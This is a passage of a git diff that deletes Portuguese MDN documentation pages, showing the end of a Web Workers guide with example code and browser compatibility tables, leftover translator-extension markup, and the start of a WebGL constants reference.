- document.getElementById('firstLink').parentNode.appendChild(document.createTextNode('The difference is ' + result + '!'));
- });
-
- myTask.addListener('doAlert', function (time, unit) {
- alert('Worker waited for ' + time + ' ' + unit + ' :-)');
- });
-&lt;/script&gt;
-&lt;/head&gt;
-&lt;body&gt;
- &lt;ul&gt;
- &lt;li&gt;&lt;a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);"&gt;What is the difference between 5 and 3?&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="javascript:myTask.sendQuery('waitSomeTime');"&gt;Wait 3 seconds&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="javascript:myTask.terminate();"&gt;terminate() the Worker&lt;/a&gt;&lt;/li&gt;
- &lt;/ul&gt;
-&lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p><strong>my_task.js</strong> (o <em>worker</em>):</p>
-
-<pre class="brush: js">var queryableFunctions = {
- // example #1: get the difference between two numbers:
- getDifference: function(nMinuend, nSubtrahend) {
- reply('printStuff', nMinuend - nSubtrahend);
- },
- // example #2: wait three seconds
- waitSomeTime: function() {
- setTimeout(function() { reply('doAlert', 3, 'seconds'); }, 3000);
- }
-};
-
-// system functions
-
-function defaultReply(message) {
- // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
- // do something
-}
-
-function reply() {
- if (arguments.length &lt; 1) { throw new TypeError('reply - not enough arguments'); return; }
- postMessage({ 'queryMethodListener': arguments[0], 'queryMethodArguments': Array.prototype.slice.call(arguments, 1) });
-}
-
-onmessage = function(oEvent) {
- if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty('queryMethod') &amp;&amp; oEvent.data.hasOwnProperty('queryMethodArguments')) {
- queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
- } else {
- defaultReply(oEvent.data);
- }
-};</pre>
-
-<p>It is possible to switch the content of each mainpage -&gt; worker and worker -&gt; mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in <code>QueryableWorker</code> and the <code>worker</code>.</p>
-
-<h3 id="Passing_data_by_transferring_ownership_(transferable_objects)">Passing data by transferring ownership (transferable objects)</h3>
-
-<p>Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.</p>
-
-<pre class="brush: js">// Create a 32MB "file" and fill it.
-var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
-for (var i = 0; i &lt; uInt8Array.length; ++i) {
- uInt8Array[i] = i;
-}
-
-worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
-</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: For more information on transferable objects, performance, and feature-detection for this method, read <a href="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast">Transferable Objects: Lightning Fast!</a> on HTML5 Rocks.</p>
-</div>
-
-<h2 id="Workers_integrados">Workers integrados</h2>
-
-<p>There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a <code>src</code> attribute and has a <code>type</code> attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta charset="UTF-8" /&gt;
-&lt;title&gt;MDN Example - Embedded worker&lt;/title&gt;
-&lt;script type="text/js-worker"&gt;
- // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
- var myVar = 'Hello World!';
- // Rest of your worker code goes here.
-&lt;/script&gt;
-&lt;script type="text/javascript"&gt;
- // This script WILL be parsed by JS engines because its MIME type is text/javascript.
- function pageLog(sMsg) {
- // Use a fragment: browser will only render/reflow once.
- var oFragm = document.createDocumentFragment();
- oFragm.appendChild(document.createTextNode(sMsg));
- oFragm.appendChild(document.createElement('br'));
- document.querySelector('#logDisplay').appendChild(oFragm);
- }
-&lt;/script&gt;
-&lt;script type="text/js-worker"&gt;
- // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
- onmessage = function(oEvent) {
- postMessage(myVar);
- };
- // Rest of your worker code goes here.
-&lt;/script&gt;
-&lt;script type="text/javascript"&gt;
- // This script WILL be parsed by JS engines because its MIME type is text/javascript.
-
- // In the past...:
- // blob builder existed
- // ...but now we use Blob...:
- var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
-
- // Creating a new document.worker property containing all our "text/js-worker" scripts.
- document.worker = new Worker(window.URL.createObjectURL(blob));
-
- document.worker.onmessage = function(oEvent) {
- pageLog('Received: ' + oEvent.data);
- };
-
- // Start the worker.
- window.onload = function() { document.worker.postMessage(''); };
-&lt;/script&gt;
-&lt;/head&gt;
-&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>The embedded worker is now nested into a new custom <code>document.worker</code> property.</p>
-
-<p>It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:</p>
-
-<pre class="brush: js">function fn2workerURL(fn) {
- var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
- return URL.createObjectURL(blob)
-}</pre>
-
-<h2 id="Exemplos_adicionais">Exemplos adicionais</h2>
-
-<p>This section provides further examples of how to use web workers.</p>
-
-<h3 id="Realizar_computações_em_segundo_plano">Realizar computações em segundo plano</h3>
-
-<p>Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.</p>
-
-<h4 id="O_código_de_JavaScript">O código de JavaScript</h4>
-
-<p>The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.</p>
-
-<pre class="brush: js">var results = [];
-
-function resultReceiver(event) {
- results.push(parseInt(event.data));
- if (results.length == 2) {
- postMessage(results[0] + results[1]);
- }
-}
-
-function errorReceiver(event) {
- throw event.data;
-}
-
-onmessage = function(event) {
- var n = parseInt(event.data);
-
- if (n == 0 || n == 1) {
- postMessage(n);
- return;
- }
-
- for (var i = 1; i &lt;= 2; i++) {
- var worker = new Worker('fibonacci.js');
- worker.onmessage = resultReceiver;
- worker.onerror = errorReceiver;
- worker.postMessage(n - i);
- }
- };</pre>
-
-<p>The worker sets the property <code>onmessage</code> to a function which will receive messages sent when the worker object's <code>postMessage()</code> is called (note that this differs from defining a global <em>variable</em> of that name, or defining a <em>function</em> with that name. <code>var onmessage</code> and <code>function onmessage</code> will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.</p>
-
-<h4 id="O_código_de_HTML">O código de HTML</h4>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="UTF-8" /&gt;
- &lt;title&gt;Test threads fibonacci&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
-
- &lt;div id="result"&gt;&lt;/div&gt;
-
- &lt;script language="javascript"&gt;
-
- var worker = new Worker('fibonacci.js');
-
- worker.onmessage = function(event) {
- document.getElementById('result').textContent = event.data;
- dump('Got: ' + event.data + '\n');
- };
-
- worker.onerror = function(error) {
- dump('Worker error: ' + error.message + '\n');
- throw error;
- };
-
- worker.postMessage('5');
-
- &lt;/script&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p>The web page creates a <code>div</code> element with the ID <code>result</code> , which gets used to display the result, then spawns the worker. After spawning the worker, the <code>onmessage</code> handler is configured to display the results by setting the contents of the <code>div</code> element, and the <code>onerror</code> handler is set to <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">dump</a> the error message.</p>
-
-<p>Finally, a message is sent to the worker to start it.</p>
-
-<p><a class="external" href="/samples/workers/fibonacci">Try this example</a>.</p>
-
-<h3 id="Executar_IO_da_Web_em_segundo_plano">Executar I/O da Web em segundo plano</h3>
-
-<p>You can find an example of this in the article <a class="internal" href="/en-US/docs/Using_workers_in_extensions">Using workers in extensions</a> .</p>
-
-<h3 id="Dividir_tarefas_entre_mútiplos_workers">Dividir tarefas entre mútiplos <em>workers</em></h3>
-
-<p>As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.</p>
-
-<h2 id="Outros_tipos_de_worker">Outros tipos de <em>worker</em></h2>
-
-<p>In addition to dedicated and shared web workers, there are other types of worker available:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.</li>
- <li>Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a> in your worker. See {{domxref("ChromeWorker")}} for more details.</li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> provide the ability for direct scripted audio processing to be done in a web worker context.</li>
-</ul>
-
-<h2 id="Funções_e_interfaces_disponíveis_nos_workers">Funções e interfaces disponíveis nos <em>workers</em></h2>
-
-<p>You can use most standard JavaScript features inside a web worker, including:</p>
-
-<ul>
- <li>{{domxref("Navigator")}}</li>
- <li>{{domxref("XMLHttpRequest")}}</li>
- <li>{{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Date", "Date")}}, {{jsxref("Global_Objects/Math", "Math")}}, and {{jsxref("Global_Objects/String", "String")}}</li>
- <li>{{domxref("WindowTimers.setTimeout")}} and {{domxref("WindowTimers.setInterval")}}</li>
-</ul>
-
-<p>The main thing you <em>can't</em> do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.</p>
-
-<div class="note">
-<p><strong>Note</strong>: For a complete list of functions available to workers, see <a href="/en-US/docs/Web/Reference/Functions_and_classes_available_to_workers">Functions and interfaces available to workers</a>.</p>
-</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4<sup>[1]</sup></td>
- <td>{{CompatGeckoDesktop("1.9.1")}}</td>
- <td>10.0</td>
- <td>10.6<sup>[1]</sup></td>
- <td>4<sup>[2]</sup></td>
- </tr>
- <tr>
- <td>Shared workers</td>
- <td>4<sup>[1]</sup></td>
- <td>{{CompatGeckoDesktop(29)}}</td>
- <td>{{CompatNo}}</td>
- <td>10.6</td>
- <td>5<br>
- {{CompatNo}} 6.1<sup>[4]</sup></td>
- </tr>
- <tr>
- <td>Passing data using <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
- <td>13</td>
- <td>{{CompatGeckoDesktop(8)}}</td>
- <td>10.0</td>
- <td>11.5</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Passing data using <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
- <td>17 {{property_prefix("webkit")}}<br>
- 21</td>
- <td>{{CompatGeckoDesktop(18)}}</td>
- <td>{{CompatNo}}</td>
- <td>15</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Global {{domxref("window.URL", "URL")}}</td>
- <td>10<sup>[3]</sup><br>
- 23</td>
- <td>{{CompatGeckoDesktop(21)}}</td>
- <td>11</td>
- <td>15</td>
- <td>6<sup>[3]</sup></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4.4</td>
- <td>4<sup>[1]</sup></td>
- <td>3.5</td>
- <td>1.0.1</td>
- <td>10.0</td>
- <td>11.5<sup>[1]</sup></td>
- <td>5.1<sup>[2]</sup></td>
- </tr>
- <tr>
- <td>Shared workers</td>
- <td>{{CompatNo}}</td>
- <td>4<sup>[1]</sup></td>
- <td>8</td>
- <td>1.0.1</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>Passing data using <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
- <td>{{CompatNo}}</td>
- <td>4</td>
- <td>8</td>
- <td>1.0.1</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>Passing data using <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>18</td>
- <td>1.0.1</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Chrome and Opera give an error "<code>Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'.</code>" when you try to run a worker locally. It needs to be on a proper domain.</p>
-
-<p>[2] As of Safari 7.1.2, you can call <code>console.log</code> from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call <code>console.log</code> from inside a worker.</p>
-
-<p>[3] This feature is implemented prefixed as <code>webkitURL</code>.</p>
-
-<p>[4] Safari <a href="https://bugs.webkit.org/show_bug.cgi?id=116359">removed SharedWorker support</a>.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>Interface de <em><code><a class="internal" href="/en-US/docs/Web/API/Worker">Worker</a></code></em></li>
- <li>Interface de <em><code><a class="internal" href="/en-US/docs/Web/API/SharedWorker">SharedWorker</a></code></em></li>
- <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Funções disponíveis para os <em>workers</em></a></li>
- <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Conceitos avançados e exemplos</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" style="display: none; font-size: 14px; line-height: 20px; margin-top: 22168px; margin-left: 26px; direction: ltr; text-align: left;">Further</div>
-
-<div id="SL_shadow_translator" style="display: none; top: 152px; left: 25px; box-shadow: rgb(186, 185, 181) 0px 0px 0px; width: 467px;">
-<div id="SL_planshet" style="background: rgb(239, 239, 239) none repeat scroll 0% 0%;">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; left: 49px;"> </div>
-
-<div id="SL_Bproviders" style="">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_OFF" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_OFF" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; cursor: not-allowed;" title="Se o idioma de origem é definido como 'Detectar idioma', esta função não está disponível."> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: block;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy_hand" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch" class="hidden"> </div>
-
- <div class="SL_font_on" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style="font-size: 14px; line-height: 20px; direction: ltr; text-align: left;">Further</div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none;"> </div>
-
-<div id="SL_player2" style="display: none; height: 0px;"> </div>
-
-<div id="SL_alert100" class="hidden">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(239, 239, 239) none repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: block; left: 49px;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webgl_api/constants/index.html b/files/pt-pt/web/api/webgl_api/constants/index.html
deleted file mode 100644
index 2ebc509bcd..0000000000
--- a/files/pt-pt/web/api/webgl_api/constants/index.html
+++ /dev/null
@@ -1,4024 +0,0 @@
----
-title: Contantes de WebGL
-slug: Web/API/WebGL_API/Constants
-tags:
- - API
- - Referencia
- - WebGL
- - constantes
-translation_of: Web/API/WebGL_API/Constants
-original_slug: Web/API/WebGL_API/Constantes
----
-<div>{{WebGLSidebar}}</div>
-
-<p>The <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> provides several constants that are passed into or returned by functions. All constants are of type {{domxref("GLenum")}}.</p>
-
-<p>Standard WebGL constants are installed on the {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} objects, so that you use them as <code>gl.CONSTANT_NAME</code>:</p>
-
-<pre class="brush: js">var canvas = document.getElementById('myCanvas');
-var gl = canvas.getContext('webgl');
-
-gl.getParameter(gl.LINE_WIDTH);
-</pre>
-
-<p>Some constants are also provided by <a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">WebGL extensions</a>. A <a href="#Constants_defined_in_WebGL_extensions">list</a> is provided below.</p>
-
-<pre class="brush: js">var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
-var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);</pre>
-
-<p>The <a href="/en-US/docs/Web/API/WebGL_API/Tutorial" title="WebGL tutorial">WebGL tutorial</a> has more information, examples, and resources on how to get started with WebGL.</p>
-
-<h2 id="Tabela_de_conteúdos">Tabela de conteúdos</h2>
-
-<ul>
- <li><a href="#Standard_WebGL_1_constants">Standard WebGL 1 constants</a></li>
- <li><a href="#Additional_constants_defined_WebGL_2">Standard WebGL 2 constants</a></li>
- <li><a href="#Constants_defined_in_WebGL_extensions">WebGL extension constants</a></li>
-</ul>
-
-<h2 id="Standard_WebGL_1_constants">Standard WebGL 1 constants</h2>
-
-<p>These constants are defined on the {{domxref("WebGLRenderingContext")}} interface.</p>
-
-<h3 id="Limpar_buffers">Limpar <em>buffers</em></h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.clear()")}} to clear buffer masks.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>DEPTH_BUFFER_BIT</code></td>
- <td>0x00000100</td>
- <td>Passed to <code>clear</code> to clear the current depth buffer.</td>
- </tr>
- <tr>
- <td><code>STENCIL_BUFFER_BIT</code></td>
- <td>0x00000400</td>
- <td>Passed to <code>clear</code> to clear the current stencil buffer.</td>
- </tr>
- <tr>
- <td><code>COLOR_BUFFER_BIT</code></td>
- <td>0x00004000</td>
- <td>Passed to <code>clear</code> to clear the current color buffer.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Renderizar_primitivos">Renderizar primitivos</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.drawElements()")}} or {{domxref("WebGLRenderingContext.drawArrays()")}} to specify what kind of primitive to render.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>POINTS</code></td>
- <td>0x0000</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw single points.</td>
- </tr>
- <tr>
- <td><code>LINES</code></td>
- <td>0x0001</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw lines. Each vertex connects to the one after it.</td>
- </tr>
- <tr>
- <td><code>LINE_LOOP</code></td>
- <td>0x0002</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw lines. Each set of two vertices is treated as a separate line segment.</td>
- </tr>
- <tr>
- <td><code>LINE_STRIP</code></td>
- <td>0x0003</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw a connected group of line segments from the first vertex to the last.</td>
- </tr>
- <tr>
- <td><code>TRIANGLES</code></td>
- <td>0x0004</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw triangles. Each set of three vertices creates a separate triangle.</td>
- </tr>
- <tr>
- <td><code>TRIANGLE_STRIP</code></td>
- <td>0x0005</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw a connected group of triangles.</td>
- </tr>
- <tr>
- <td><code>TRIANGLE_FAN</code></td>
- <td>0x0006</td>
- <td>Passed to <code>drawElements</code> or <code>drawArrays</code> to draw a connected group of triangles. Each vertex connects to the previous and the first vertex in the fan.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Modos_de_mistura">Modos de mistura</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.blendFunc()")}} or {{domxref("WebGLRenderingContext.blendFuncSeparate()")}} to specify the blending mode (for both, RBG and alpha, or separately).</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome da constante</th>
- <th scope="col">Valor</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>ZERO</code></td>
- <td>0</td>
